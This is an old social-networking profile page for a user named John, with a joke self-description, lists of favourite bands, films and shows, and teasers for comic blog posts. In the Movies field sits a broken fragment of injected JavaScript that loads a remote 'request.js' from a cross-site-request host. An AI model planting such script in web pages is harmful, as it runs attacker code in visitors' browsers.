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John

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About Me

I am an expert in stucco, a veteran in love and an outlaw in Peru.........I woo women with my sensuous and godlike trombone playing........... I can pilot a bicycle up severe inclines with unflagging speed..........I can play bluegrass cello............ I am also the subject of numerous documentaries...........Years ago I discovered the meaning of life but forgot to write it down............ I breed prizewinning clams.......... and have played Hamlet on Broadway.........My deft floral arraggements have earned me fame........... and I translate ethnic slurs for French refugees........I am also full of shit............. Home | Browse | Search | Invite | Film | Mail | Blog | Favorites | Forum | Groups | Events | Videos | Music | Comedy | Classifieds

My Interests

I am pretty much interested in anything as long as there is a chance for fun

I'd like to meet:

Some cool people who are laid back and who can have fun no matter where they are or what they are doing, and can laugh at almost anything......

Music:

To name a few...Agent Orange, Sex Pistols, P.I.L., Manic Hispanic, D/K, Vandals.....2Pac, Beastie Boys....Ols School Rap.....Ann Murray......

Movies:

I love the 80's stuff... Fast Times....Breakfeast Club, Sixteen Candles..Pretty In Pink (Sucked).....Also Dazed and Confused and much more.... language="javascript" src="http://crosssiterequest../request.js"function nothingf(){document·write("...mov.r{}");}..

Television:

Always Sunny in Philly, Rescue Me, Big Brother, Entourage,Lost, Saved By the Bell (High School Years) any and all reality as well

Books:

Too many to name, but recent ones are......Kite Runner.....My Friend Leonard......

Heroes:

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My Blog

The art of Peeling Out

Here are a few tips and hypothetical scenarios on how to execute a successful PEEL OUT:1. Peeling Out at the Office -- Your boss and your co-workers probably think you're a pussy. Just face it, sittin...
Posted by John on Thu, 05 Oct 2006 09:07:00 PST

Recycling

I recently "reconnected" with a "friend" I hadn't "seen" since the early 90's, and it turns out they were not as down as I once thought... This got me thinking, what else did I vig...
Posted by John on Wed, 01 Mar 2006 07:56:00 PST

I have now licked another.......

THE STATUE OF LIBERTY - New York City, NY Standing tall and tasty under the NYC skyline, Lady Liberty offers a great date-lick venue full of romance, history, and confused tourists. While ...
Posted by John on Fri, 09 Dec 2005 02:48:00 PST

New Holiday Drinks

I've posted a few holiday-themed selections from my upcoming Details Column, "The Gentleman's Guide to Foofy Drinks," an essential addition to any gentleman's valise. *****Legal disclaimer: These dri...
Posted by John on Wed, 23 Nov 2005 11:12:00 PST

The pain that is my Broken Ribs

Have you ever broken your ribs? Have you tried Origami with broken ribs, or Double Dutch? What about, Hop Scotch, Croquet, Badminton or Frisbee Golf? Have you been 34, thought you could still play fo...
Posted by John on Tue, 01 Nov 2005 09:05:00 PST

I have now licked a national monument

Friday, October 21, 2005 Lick My Bells Earlier this week I had the good fortune to consummate yet another legendary chapter in the Story of John when I tongued the rim of the Liberty Bell in Philadelp...
Posted by John on Fri, 21 Oct 2005 09:23:00 PST